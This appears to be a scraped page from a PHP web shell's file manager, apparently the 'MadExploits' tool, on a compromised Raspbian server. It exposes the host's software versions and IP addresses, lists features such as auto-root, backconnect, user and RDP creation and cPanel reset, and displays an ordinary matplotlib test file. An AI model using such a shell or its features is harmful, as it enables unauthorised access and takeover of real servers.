Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
mpl_toolkits /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
baseline_images
[ DIR ]
drwxr-xr-x
__init__.py
381
B
-rw-r--r--
conftest.py
213
B
-rw-r--r--
test_axes_grid.py
1.6
KB
-rw-r--r--
test_axes_grid1.py
14.68
KB
-rw-r--r--
test_axisartist_angle_helper.p...
5.57
KB
-rw-r--r--
test_axisartist_axis_artist.py
2.83
KB
-rw-r--r--
test_axisartist_axislines.py
2.21
KB
-rw-r--r--
test_axisartist_clip_path.py
1.03
KB
-rw-r--r--
test_axisartist_floating_axes....
4.07
KB
-rw-r--r--
test_axisartist_grid_finder.py
325
B
-rw-r--r--
test_axisartist_grid_helper_cu...
7.31
KB
-rw-r--r--
test_mplot3d.py
25.69
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_axes_grid.py
from matplotlib.testing.decorators import image_comparison from mpl_toolkits.axes_grid1 import ImageGrid import numpy as np import matplotlib.pyplot as plt @image_comparison(baseline_images=['imagegrid_cbar_mode'], extensions=['png'], remove_text=True, style='mpl20') def test_imagegrid_cbar_mode_edge(): X, Y = np.meshgrid(np.linspace(0, 6, 30), np.linspace(0, 6, 30)) arr = np.sin(X) * np.cos(Y) + 1j*(np.sin(3*Y) * np.cos(Y/2.)) fig = plt.figure(figsize=(18, 9)) positions = (241, 242, 243, 244, 245, 246, 247, 248) directions = ['row']*4 + ['column']*4 cbar_locations = ['left', 'right', 'top', 'bottom']*2 for position, direction, location in zip(positions, directions, cbar_locations): grid = ImageGrid(fig, position, nrows_ncols=(2, 2), direction=direction, cbar_location=location, cbar_size='20%', cbar_mode='edge') ax1, ax2, ax3, ax4, = grid im1 = ax1.imshow(arr.real, cmap='nipy_spectral') im2 = ax2.imshow(arr.imag, cmap='hot') im3 = ax3.imshow(np.abs(arr), cmap='jet') im4 = ax4.imshow(np.arctan2(arr.imag, arr.real), cmap='hsv') # Some of these colorbars will be overridden by later ones, # depending on the direction and cbar_location ax1.cax.colorbar(im1) ax2.cax.colorbar(im2) ax3.cax.colorbar(im3) ax4.cax.colorbar(im4)
Close